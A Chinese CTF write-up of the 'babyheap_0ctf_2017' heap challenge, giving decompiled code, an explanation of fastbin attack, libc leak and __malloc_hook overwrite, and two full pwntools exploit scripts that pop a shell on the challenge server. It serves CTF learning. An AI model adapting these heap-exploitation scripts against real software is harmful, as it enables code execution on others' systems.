0x01 buuctf_babyheap_0ctf_2017
牢骚:第一次做堆题,改exp改了特别长时间,结合别的师傅的wp才做出来的,心累……写篇博客当做里程碑。
如果对基础知识不太懂的看看这篇博客,这里不作过多赘述:知识补充
综合网上师傅和学长大大的wp,本题提供两种做法
本题涉及到几个知识点:
- 堆溢出
- fastbin attack
- double free
- 堆泄露libc地址
- pwndbg如何快速找到fake chunk
- __malloc_hook函数的利用
- 堆块重叠
环境:Ubuntu16.04
第一种:
0x01 __malloc_hook函数攻击原理:
- 像malloc、free、realloc这类函数在执行前会先检查对应的hook函数,如果hook函数为空,则继续执行对应的函数,如果不为空,则跳转到hook中的值对应的地址位置执行。(例如hook函数中如果存的是one_gatget的地址则执行one_gatget)
unsortbin 泄露libc地址
- 对于libc-2.23.so而言,当unsortedbin中只有一个freed chunk时,这个freed chunk的fd和bk指针都指向libc中的一个地址(一般是<main_arena+88>),这个偏移也可以算出是0x3c4b78。(小版本是0x3c3b78)而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了,所以重点是当small chunk释放时,能否读出fd 或者 bk的值。
0x02 解题思路:
0x02(1) 代码审计:
堆题的保护机制一般是全开的,如下:
拖进ida:
_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax
char *v4; // [rsp+8h] [rbp-8h]
v4 = sub_B70();
while ( 1 )
{
list();
switch ( sub_138C() )
{
case 1LL:
allocate((__int64)v4);
break;
case 2LL:
edit(v4, a2);
return result;
case 3LL:
free_0((__int64)v4);
break;
case 4LL:
show((__int64)v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
allocate
void __fastcall sub_D48(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
edit
void __fastcall __noreturn edit(__int64 a1)
{
int v1; // [rsp+18h] [rbp-8h]
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
v1 = sub_138C();
if ( v1 >= 0 && v1 <= 15 && *(_DWORD *)(24LL * v1 + a1) == 1 )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
printf("Content: ");
sub_11B2(*(_QWORD *)(24LL * v1 + a1 + 16), v2);
}
}
}
free
__int64 __fastcall free_0(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}
show
int __fastcall sub_1051(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
result = puts(byte_14F1);
}
}
return result;
}
这题有个地方比较难看懂是什么意思,这里相当于一个结构体:
*(_DWORD *)(24LL * i + a1) = 1; #1表示chunk已创建并且有效,后面都会检查
*(_QWORD *)(a1 + 24LL * i + 8) = v2; #记录chunk的大小
*(_QWORD *)(a1 + 24LL * i + 16) = v3;#记录chunk的申请存储地址
#只要free掉三个就会清零,实现用户无法访问chunk
由于本题有保护机制free后无法访问,首先我们的目的是让一处的chunk可以在free掉后还能被访问(这里用到double free),如下操作:
allocate(0x10) #chunk0 fastbin
allocate(0x10) #chunk1 fastbin
allocate(0x10) #chunk2 fastbin
allocate(0x10) #chunk3 fastbin
allocate(0x80) #chunk4 smallbin
free(1)
free(2)
先申请几个堆块,free掉两个fastbin,因为fastbin是单向链表并且服从FILO,所以第二个free掉的堆块fd指针会指向第一个free的堆块
该题不太一样的是先allocate申请大小然后再edit填充内容,其他题目很多都是add直接分配chunk直接填充内容,这里就有一个溢出因为chunk大小由我们规定,输入多少也由我们规定可以实现无限溢出。
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
edit(0,payload)
在chunk0处输入,把 chunk 2 的fd指针覆盖为 chunk 4 的地址,只用修改低8字节即可,这样chunk2就从指向chunk1变为指向chunk4,且chunk4相当于处于“’free状态”可再次被申请,这时就有两个指针指向了同一个chunk
payload=p64(0)*3+p64(0x21)
edit(3,payload)
allocate(0x10)
allocate(0x10)
我们等下要 malloc 拿到 chunk 4 ,可是 malloc fastbin 有检查, chunksize 必须与相应的 fastbin_index 匹配,所以我们覆盖 chunk 4 的 size 为 fastbin 大小来通过检查,申请两次可以拿到chunk4
因为本题allocate的分配机制是从头开始检查哪个chunk是free状态,如果是就把它占用,所以重新分配的chunk分别给了chunk1,而chunk4给了chunk2,相当于两个堆块用的同一个空间
payload=p64(0)*3+p64(0x91)
edit(3,payload)
allocate(0x80)#chunk 5
free(4)
show(2)
我们需要的是它作为smallbin时的身份于是恢复其size大小,再次申请0x80大小的堆块(chunk 5)防止与topchunk合并,释放掉chunk4(释放时,是当做small bin释放的)此时chunk4的fd指针就会指向libc的main_arena某处,但是我们无法用show来查看chunk4,不过刚刚做的努力就体现在这,因为chunk2也使用chunk4的空间,我们就可以通过show chunk2的内容看到chunk4的fd指针内容
leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))#接收\x7f在内的向左六个字节,用\x00补齐八个字节
print('leak:'+hex(leak))
libc_base=leak-0x3c4b78
print('libc_base:'+hex(libc_base))
算libc地址如上:
用pwndbg快速找到在__malloc_hook旁边符合条件的fake_chunk指令如上:
用pwndbg找到libc地址和__malloc_hook的地址用于计算偏移:
用pwndbg算偏移如上:
fake_chunk=libc_base+0x3c4aed
allocate(0x60)
free(4)
edit(2,p64(fake_chunk))
再次申请一个chunk被分配到chunk4的位置,将其free掉,用chunk2来修改chunk4的fd为fake_chunk的地址
allocate(0x60)#chunk4
allocate(0x60)#chunk6
payload=b'a'*0x13+p64(libc_base+0x4526a)#one_gadget
edit(6,payload)
allocate(0x10)
申请两个chunk,chunk6拿到fake_chunk,并且对chunk6进行输入覆盖__mallo_hook,再次申请就相当于执行one_gadget
完整exp:
from pwn import*
io=remote('node4.buuoj.cn',26165)
#io=process('./babyheap')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#context.log_level='debug'
def choice(i):
io.sendlineafter('Command: ',str(i))
def allocate(size):
choice(1)
io.sendlineafter('Size: ',str(size))
def edit(index,content):
choice(2)
io.sendlineafter('Index: ',str(index))
io.sendlineafter('Size: ',str(len(content)))
io.sendlineafter('Content: ',content)
def free(index):
choice(3)
io.sendlineafter('Index: ',str(index))
def show(index):
choice(4)
io.sendlineafter('Index: ',str(index))
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(1)
free(2)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
edit(0,payload)
payload=p64(0)*3+p64(0x21)
edit(3,payload)
allocate(0x10)
allocate(0x10)
payload=p64(0)*3+p64(0x91)
edit(3,payload)
allocate(0x80)
free(4)
show(2)
#gdb.attach(io)
leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('leak:'+hex(leak))
libc_base=leak-0x3c4b78
print('libc_base:'+hex(libc_base))
fake_chunk=libc_base+0x3c4aed
allocate(0x60)
free(4)
edit(2,p64(fake_chunk))
allocate(0x60)
allocate(0x60)
payload=b'a'*0x13+p64(libc_base+0x4526a)
edit(6,payload)
allocate(0x10)
io.interactive()
第二种:
这种方法由学长提供,对堆块重叠了解不是很深的看这篇文章
这里用的是向后合并的方法
思路分析
from pwn import*
io=remote('node4.buuoj.cn',28791)
#io=process('./babyheap')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
context.log_level='debug'
def choice(i):
io.sendlineafter('Command: ',str(i))
def add(size):
choice(1)
io.sendlineafter('Size: ',str(size))
def edit(index,content):
choice(2)
io.sendlineafter('Index: ',str(index))
io.sendlineafter('Size: ',str(len(content)))
io.sendlineafter('Content: ',content)
def free(index):
choice(3)
io.sendlineafter('Index: ',str(index))
def show(index):
choice(4)
io.sendlineafter('Index: ',str(index))
add(0x100) #chunk0 这个堆块可以改变大小
add(0x100) #chunk1 经测试,这个堆块要大于等于后面0x100的堆块大小
add(0x100) #chunk2 申请大于fastbin范围的堆块用于泄露libc地址指向main_arena+88的位置
add(0x60) #chunk3 防止topchunk合并,0x60后面申请fake_chunk有用
free(1) #按照向前合并要求将chunk1释放
payload=b'a'*0x108+p64(0x221) #修改chunk1的size大小为0x220
edit(0,payload) #在chunk0填入
add(0x210) #将chunk1申请回来,此时chunk2和chunk1的部分堆块重叠
payload=b'a'*0x108+p64(0x111) #用于calloc会将申请得到的堆块chunk1清零,chunk2的size会丢失,将其补上
edit(1,payload)
free(2) #泄露libc地址
show(1) #因为chunk2在chunk1范围,打印chunk1会顺带把chunk2的内容打印出来
leak=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('leak:'+hex(leak))
libc_base=leak-0x3c4b78
print('libc_base:'+hex(libc_base))
fake_chunk=libc_base+0x3c4aed
add(0x100) #把chunk2补上
add(0x60) #chunk4
free(4) #free chunk4使用doublefree获取fake_chunk
payload=b'a'*0x68+p64(0x71)+p64(fake_chunk)
edit(3,payload)
add(0x60)
add(0x60) #获得fakechunk
payload=b'a'*0x13+p64(libc_base+0x4526a) #覆盖mallok_hook为one_gadget
edit(5,payload)
add(0x10) #再次调用执行malloc_hook
io.interactive()